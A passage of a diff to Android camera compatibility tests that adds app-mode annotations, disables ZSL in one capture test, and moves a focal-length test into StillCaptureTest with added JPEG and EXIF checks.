+ if (!latch.await(WEBVIEW_TIMEOUT.ms(), TimeUnit.MILLISECONDS)) {
+ throw new RetryableException(WEBVIEW_TIMEOUT, "WebView not loaded");
+ }
+
+ // TODO(b/80317628): re-add check below
// NOTE: we cannot search by resourceId because WebView does not set them...
- uiBot.assertShownByText("Login"); // Login button
+ // uiBot.assertShownByText("Login"); // Login button
return mWebView;
}
diff --git a/tests/camera/Android.mk b/tests/camera/Android.mk
index 5ca2315..369d566 100644
--- a/tests/camera/Android.mk
+++ b/tests/camera/Android.mk
@@ -59,7 +59,7 @@
$(call all-renderscript-files-under, src)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsCameraTestCases
diff --git a/tests/camera/AndroidManifest.xml b/tests/camera/AndroidManifest.xml
index cddeaeb..e2ab0be 100644
--- a/tests/camera/AndroidManifest.xml
+++ b/tests/camera/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.camera.cts">
+ package="android.camera.cts"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
diff --git a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
index 92b171a..bd9bec8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/AllocationTest.java
@@ -48,6 +48,7 @@
import android.hardware.camera2.cts.rs.ScriptYuvToRgb;
import android.os.Handler;
import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
import android.renderscript.Allocation;
import android.renderscript.Script.LaunchOptions;
import android.test.AndroidTestCase;
@@ -71,6 +72,7 @@
*
* <p>YUV_420_888: flexible YUV420, it is a mandatory format for camera.</p>
*/
+@AppModeFull
public class AllocationTest extends AndroidTestCase {
private static final String TAG = "AllocationTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
index 72a5f99..6e0949d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureRawTest.java
@@ -30,6 +30,7 @@
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Range;
import android.util.Size;
@@ -39,6 +40,7 @@
/**
* Basic tests for burst capture in RAW formats.
*/
+@AppModeFull
public class BurstCaptureRawTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "BurstCaptureRawTest";
private static final int RAW_FORMATS[] = {
diff --git a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
index de48dd6..b28106d 100644
--- a/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/BurstCaptureTest.java
@@ -26,6 +26,7 @@
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Range;
import android.util.Size;
@@ -33,6 +34,7 @@
import java.util.List;
import java.util.ArrayList;
+@AppModeFull
public class BurstCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "BurstCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
index 830e2b6..9a4e42c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraDeviceTest.java
@@ -46,6 +46,7 @@
import android.os.ConditionVariable;
import android.os.Handler;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Range;
import android.view.Surface;
@@ -76,6 +77,7 @@
/**
* <p>Basic test for CameraDevice APIs.</p>
*/
+@AppModeFull
public class CameraDeviceTest extends Camera2AndroidTestCase {
private static final String TAG = "CameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 170cc3f..dd7197c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -32,6 +32,7 @@
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
import android.os.Handler;
import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
@@ -50,6 +51,7 @@
/**
* <p>Basic test for CameraManager class.</p>
*/
+@AppModeFull
public class CameraManagerTest extends AndroidTestCase {
private static final String TAG = "CameraManagerTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 28a625d..53cce72 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -39,6 +39,7 @@
import android.hardware.camera2.params.TonemapCurve;
import android.media.Image;
import android.os.Parcel;
+import android.platform.test.annotations.AppModeFull;
import android.util.ArraySet;
import android.util.Log;
import android.util.Range;
@@ -60,6 +61,7 @@
* manual ISP control and other per-frame control and synchronization.
* </p>
*/
+@AppModeFull
public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "CaptureRequestTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -796,28 +798,6 @@
}
}
- /**
- * Test focal length controls.
- */
- public void testFocalLengths() throws Exception {
- for (String id : mCameraIds) {
- try {
- openDevice(id);
- if (mStaticInfo.isHardwareLevelLegacy()) {
- Log.i(TAG, "Camera " + id + " is legacy, skipping");
- continue;
- }
- if (!mStaticInfo.isColorOutputSupported()) {
- Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
- continue;
- }
- focalLengthTestByCamera();
- } finally {
- closeDevice();
- }
- }
- }
-
// TODO: add 3A state machine test.
/**
@@ -2499,31 +2479,6 @@
}
}
- private void focalLengthTestByCamera() throws Exception {
- float[] focalLengths = mStaticInfo.getAvailableFocalLengthsChecked();
- Size maxPreviewSize = mOrderedPreviewSizes.get(0);
- CaptureRequest.Builder requestBuilder =
- mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
- requestBuilder.set(CaptureRequest.CONTROL_MODE, CaptureRequest.CONTROL_MODE_AUTO);
- SimpleCaptureCallback listener = new SimpleCaptureCallback();
- startPreview(requestBuilder, maxPreviewSize, listener);
-
- for(float focalLength : focalLengths) {
- requestBuilder.set(CaptureRequest.LENS_FOCAL_LENGTH, focalLength);
- listener = new SimpleCaptureCallback();
- mSession.setRepeatingRequest(requestBuilder.build(), listener, mHandler);
- waitForSettingsApplied(listener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
- waitForResultValue(listener, CaptureResult.LENS_STATE,
- CaptureResult.LENS_STATE_STATIONARY, NUM_RESULTS_WAIT_TIMEOUT);
-
- verifyCaptureResultForKey(CaptureResult.LENS_FOCAL_LENGTH,
- focalLength, listener, NUM_FRAMES_VERIFIED);
- // This also serves as purpose of showing preview for NUM_FRAMES_VERIFIED
- verifyCaptureResultForKey(CaptureResult.CONTROL_MODE,
- CaptureRequest.CONTROL_MODE_AUTO, listener, NUM_FRAMES_VERIFIED);
- }
- }
-
//----------------------------------------------------------------
//---------Below are common functions for all tests.--------------
//----------------------------------------------------------------
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
index 5923fe2..1be10ee 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureResultTest.java
@@ -27,6 +27,7 @@
import android.media.Image;
import android.media.ImageReader;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Pair;
import android.util.Size;
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
@@ -49,6 +50,7 @@
import java.util.concurrent.LinkedBlockingQueue;
import java.util.concurrent.TimeUnit;
+@AppModeFull
public class CaptureResultTest extends Camera2AndroidTestCase {
private static final String TAG = "CaptureResultTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -306,6 +308,12 @@
multiBuilder.addTarget(previewReader.getSurface());
multiBuilder.addTarget(jpegReader.getSurface());
+ if (mStaticInfo.isEnableZslSupported()) {
+ // Turn off ZSL to ensure timestamps are increasing
+ previewBuilder.set(CaptureRequest.CONTROL_ENABLE_ZSL, false);
+ multiBuilder.set(CaptureRequest.CONTROL_ENABLE_ZSL, false);
+ }
+
CaptureCallback mockCaptureCallback = getMockCaptureListener();
// Capture targeting only preview
diff --git a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
index 8f32d52..0689b9b 100644
--- a/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/DngCreatorTest.java
@@ -41,6 +41,7 @@
import android.media.ImageReader;
import android.os.ConditionVariable;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Pair;
import android.util.Size;
@@ -65,6 +66,7 @@
/**
* Tests for the DngCreator API.
*/
+@AppModeFull
public class DngCreatorTest extends Camera2AndroidTestCase {
private static final String TAG = "DngCreatorTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
index 1c53697..22851e6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ExtendedCameraCharacteristicsTest.java
@@ -32,6 +32,7 @@
import android.media.CamcorderProfile;
import android.media.ImageReader;
import android.os.Build;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
import android.util.Rational;
@@ -54,6 +55,7 @@
/**
* Extended tests for static camera characteristics.
*/
+@AppModeFull
public class ExtendedCameraCharacteristicsTest extends AndroidTestCase {
private static final String TAG = "ExChrsTest"; // must be short so next line doesn't throw
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
index 1aa6a17..f0b3179 100644
--- a/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/FlashlightTest.java
@@ -24,6 +24,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
import android.util.Log;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.concurrent.ArrayBlockingQueue;
@@ -35,6 +36,7 @@
/**
* <p>Tests for flashlight API.</p>
*/
+@AppModeFull
public class FlashlightTest extends Camera2AndroidTestCase {
private static final String TAG = "FlashlightTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
index dd7053b..70e928a 100644
--- a/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/IdleUidTest.java
@@ -32,6 +32,7 @@
import android.hardware.camera2.CameraManager;
import android.os.Handler;
import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
import android.support.test.InstrumentationRegistry;
import android.support.test.runner.AndroidJUnit4;
@@ -51,6 +52,7 @@
* get an error callback losing the camera handle. Similarly if the UID is
* already idle it cannot obtain a camera handle.
*/
+@AppModeFull
@RunWith(AndroidJUnit4.class)
public final class IdleUidTest {
private static final long CAMERA_OPERATION_TIMEOUT_MILLIS = 5000; // 5 sec
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
index 6aa76a8..8852778 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageReaderTest.java
@@ -39,6 +39,7 @@
import android.media.Image.Plane;
import android.media.ImageReader;
import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -66,6 +67,7 @@
* <p>Some invalid access test. </p>
* <p>TODO: Add more format tests? </p>
*/
+@AppModeFull
public class ImageReaderTest extends Camera2AndroidTestCase {
private static final String TAG = "ImageReaderTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
index 73a391c..65c8eb1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ImageWriterTest.java
@@ -28,6 +28,7 @@
import android.media.Image.Plane;
import android.media.ImageReader;
import android.media.ImageWriter;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -44,6 +45,7 @@
* interface or ImageReader.
* </p>
*/
+@AppModeFull
public class ImageWriterTest extends Camera2AndroidTestCase {
private static final String TAG = "ImageWriterTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
index 50d027d..33365b2 100644
--- a/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/LogicalCameraDeviceTest.java
@@ -39,6 +39,7 @@
import android.media.CamcorderProfile;
import android.media.Image;
import android.media.ImageReader;
+import android.platform.test.annotations.AppModeFull;
import android.util.ArraySet;
import android.util.Log;
import android.util.Range;
@@ -63,6 +64,7 @@
/**
* Tests exercising logical camera setup, configuration, and usage.
*/
+@AppModeFull
public final class LogicalCameraDeviceTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "LogicalCameraTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
index 0db73846..9bdb898 100644
--- a/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/MultiViewTest.java
@@ -34,6 +34,7 @@
import android.media.ImageReader;
import android.os.SystemClock;
import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -48,6 +49,7 @@
/**
* CameraDevice test by using combination of SurfaceView, TextureView and ImageReader
*/
+@AppModeFull
public class MultiViewTest extends Camera2MultiViewTestCase {
private static final String TAG = "MultiViewTest";
private final static long WAIT_FOR_COMMAND_TO_COMPLETE = 5000; //ms
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
index 06158d8..d54ab17 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraDeviceTest.java
@@ -18,6 +18,7 @@
import android.graphics.SurfaceTexture;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -25,6 +26,7 @@
/**
* <p>Basic test for CameraManager class.</p>
*/
+@AppModeFull
public class NativeCameraDeviceTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "NativeCameraDeviceTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
index 08e0363..864b7d1 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeCameraManagerTest.java
@@ -16,12 +16,14 @@
package android.hardware.camera2.cts;
+import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
import android.util.Log;
/**
* <p>Basic test for CameraManager class.</p>
*/
+@AppModeFull
public class NativeCameraManagerTest extends AndroidTestCase {
private static final String TAG = "NativeCameraManagerTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
index b018645..fe01fbd 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeImageReaderTest.java
@@ -17,11 +17,13 @@
package android.hardware.camera2.cts;
import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
/**
* <p>Basic test for CameraManager class.</p>
*/
+@AppModeFull
public class NativeImageReaderTest extends Camera2AndroidTestCase {
private static final String TAG = "NativeImageReaderTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
index 14b5a22..8882b40 100644
--- a/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/NativeStillCaptureTest.java
@@ -17,6 +17,7 @@
package android.hardware.camera2.cts;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -24,6 +25,7 @@
/**
* <p>Basic test for CameraManager class.</p>
*/
+@AppModeFull
public class NativeStillCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "NativeStillCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 3e79cbc..9006b09 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -39,6 +39,7 @@
import android.media.ImageWriter;
import android.os.ConditionVariable;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Pair;
import android.util.Range;
@@ -62,6 +63,7 @@
* Test camera2 API use case performance KPIs, such as camera open time, session creation time,
* shutter lag etc. The KPI data will be reported in cts results.
*/
+@AppModeFull
public class PerformanceTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "PerformanceTest";
private static final String REPORT_LOG_NAME = "CtsCameraTestCases";
diff --git a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
index d2353a1..5bf722c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RecordingTest.java
@@ -39,6 +39,7 @@
import android.media.MediaRecorder;
import android.os.Environment;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.test.suitebuilder.annotation.LargeTest;
import android.util.Log;
import android.util.Range;
@@ -60,6 +61,7 @@
* CameraDevice video recording use case tests by using MediaRecorder and
* MediaCodec.
*/
+@AppModeFull
@LargeTest
public class RecordingTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "RecordingTest";
diff --git a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
index dd49c8d..f30ca92 100644
--- a/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/ReprocessCaptureTest.java
@@ -32,6 +32,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.InputConfiguration;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Surface;
@@ -46,6 +47,7 @@
/**
* <p>Tests for Reprocess API.</p>
*/
+@AppModeFull
public class ReprocessCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "ReprocessCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
index 38ed091..cce6171 100644
--- a/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/RobustnessTest.java
@@ -40,6 +40,7 @@
import android.media.Image;
import android.media.ImageReader;
import android.media.ImageWriter;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Size;
import android.view.Display;
@@ -61,6 +62,7 @@
/**
* Tests exercising edge cases in camera setup, configuration, and usage.
*/
+@AppModeFull
public class RobustnessTest extends Camera2AndroidTestCase {
private static final String TAG = "RobustnessTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
index 5eddfd1..00ed180 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StaticMetadataTest.java
@@ -29,6 +29,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata.CheckLevel;
import android.hardware.camera2.cts.testcases.Camera2AndroidTestCase;
import android.hardware.camera2.params.StreamConfigurationMap;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Pair;
import android.util.Size;
@@ -50,6 +51,7 @@
* Note that most of the tests in this class don't require camera open.
* </p>
*/
+@AppModeFull
public class StaticMetadataTest extends Camera2AndroidTestCase {
private static final String TAG = "StaticMetadataTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
index 9f51fdf..0ef1856 100644
--- a/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/StillCaptureTest.java
@@ -29,6 +29,8 @@
import android.hardware.camera2.CaptureRequest;
import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.DngCreator;
+import android.location.Location;
+import android.location.LocationManager;
import android.media.ImageReader;
import android.util.Pair;
import android.util.Size;
@@ -39,6 +41,7 @@
import android.hardware.camera2.params.MeteringRectangle;
import android.media.Image;
import android.os.ConditionVariable;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Range;
import android.util.Rational;
@@ -52,6 +55,7 @@
import java.util.Arrays;
import java.util.List;
+@AppModeFull
public class StillCaptureTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "StillCaptureTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -503,6 +507,90 @@
}
/**
+ * Test focal length controls.
+ */
+ public void testFocalLengths() throws Exception {
+ for (String id : mCameraIds) {
+ try {
+ openDevice(id);
+ if (mStaticInfo.isHardwareLevelLegacy()) {
+ Log.i(TAG, "Camera " + id + " is legacy, skipping");
+ continue;
+ }
+ if (!mStaticInfo.isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+ continue;
+ }
+ focalLengthTestByCamera();
+ } finally {
+ closeDevice();
+ closeImageReader();
+ }
+ }
+ }
+
+ private void focalLengthTestByCamera() throws Exception {
+ float[] focalLengths = mStaticInfo.getAvailableFocalLengthsChecked();
+ int numStillCaptures = focalLengths.length;
+
+ Size maxStillSz = mOrderedStillSizes.get(0);
+ Size maxPreviewSz = mOrderedPreviewSizes.get(0);
+ SimpleCaptureCallback resultListener = new SimpleCaptureCallback();
+ SimpleImageReaderListener imageListener = new SimpleImageReaderListener();
+ CaptureRequest.Builder previewRequest =
+ mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ CaptureRequest.Builder stillRequest =
+ mCamera.createCaptureRequest(CameraDevice.TEMPLATE_STILL_CAPTURE);
+ Size thumbnailSize = new Size(0, 0);
+ Location sTestLocation = new Location(LocationManager.GPS_PROVIDER);
+ sTestLocation.setTime(1199145600000L);
+ sTestLocation.setLatitude(37.736071);
+ sTestLocation.setLongitude(-122.441983);
+ sTestLocation.setAltitude(21.0);
+ ExifTestData exifTestData = new ExifTestData(
+ /* gpsLocation */ sTestLocation,
+ /* orientation */ 0,
+ /* jpgQuality */ (byte) 80,
+ /* thumbnailQuality */ (byte) 75);
+ setJpegKeys(stillRequest, exifTestData, thumbnailSize, mCollector);
+ CaptureResult result;
+
+ // Set the max number of images to number of focal lengths supported
+ prepareStillCaptureAndStartPreview(previewRequest, stillRequest, maxPreviewSz,
+ maxStillSz, resultListener, focalLengths.length, imageListener);
+
+ for(float focalLength : focalLengths) {
+
+ previewRequest.set(CaptureRequest.LENS_FOCAL_LENGTH, focalLength);
+ mSession.setRepeatingRequest(previewRequest.build(), resultListener, mHandler);
+ waitForSettingsApplied(resultListener, NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY);
+ waitForResultValue(resultListener, CaptureResult.LENS_STATE,
+ CaptureResult.LENS_STATE_STATIONARY, NUM_RESULTS_WAIT_TIMEOUT);
+ result = resultListener.getCaptureResult(WAIT_FOR_RESULT_TIMEOUT_MS);
+ mCollector.expectEquals("Focal length in preview result and request should be the same",
+ previewRequest.get(CaptureRequest.LENS_FOCAL_LENGTH),
+ result.get(CaptureResult.LENS_FOCAL_LENGTH));
+
+ stillRequest.set(CaptureRequest.LENS_FOCAL_LENGTH, focalLength);
+ CaptureRequest request = stillRequest.build();
+ resultListener = new SimpleCaptureCallback();
+ mSession.capture(request, resultListener, mHandler);
+ result = resultListener.getCaptureResult(WAIT_FOR_RESULT_TIMEOUT_MS);
+ mCollector.expectEquals(
+ "Focal length in still capture result and request should be the same",
+ stillRequest.get(CaptureRequest.LENS_FOCAL_LENGTH),
+ result.get(CaptureResult.LENS_FOCAL_LENGTH));
+
+ Image image = imageListener.getImage(CAPTURE_IMAGE_TIMEOUT_MS);
+
+ validateJpegCapture(image, maxStillSz);
+ verifyJpegKeys(image, result, maxStillSz, thumbnailSize, exifTestData,
+ mStaticInfo, mCollector);
+ }
+ }
+
+
+ /**
* Start preview,take a picture and test preview is still running after snapshot
*/
private void previewPersistenceTestByCamera() throws Exception {
diff --git a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
index 89b1926..a1a7e02 100644
--- a/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/SurfaceViewPreviewTest.java
@@ -35,6 +35,7 @@
import android.hardware.camera2.cts.CameraTestUtils.SimpleCaptureCallback;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.OutputConfiguration;
+import android.platform.test.annotations.AppModeFull;
import android.util.Log;
import android.util.Pair;
import android.util.Range;
@@ -53,6 +54,7 @@
/**
* CameraDevice preview test by using SurfaceView.
*/
+@AppModeFull
public class SurfaceViewPreviewTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "SurfaceViewPreviewTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
diff --git a/tests/camera/src/android/hardware/cts/CameraGLTest.java b/tests/camera/src/android/hardware/cts/CameraGLTest.java
index 50c8271..738c3b7 100644
--- a/tests/camera/src/android/hardware/cts/CameraGLTest.java
+++ b/tests/camera/src/android/hardware/cts/CameraGLTest.java
@@ -32,6 +32,7 @@
import android.os.Looper;
import android.os.PowerManager;
import android.os.PowerManager.WakeLock;
+import android.platform.test.annotations.AppModeFull;
import android.test.ActivityInstrumentationTestCase2;
import android.test.MoreAsserts;
@@ -58,6 +59,7 @@
/**
* This test case must run with hardware. It can't be tested in emulator
*/
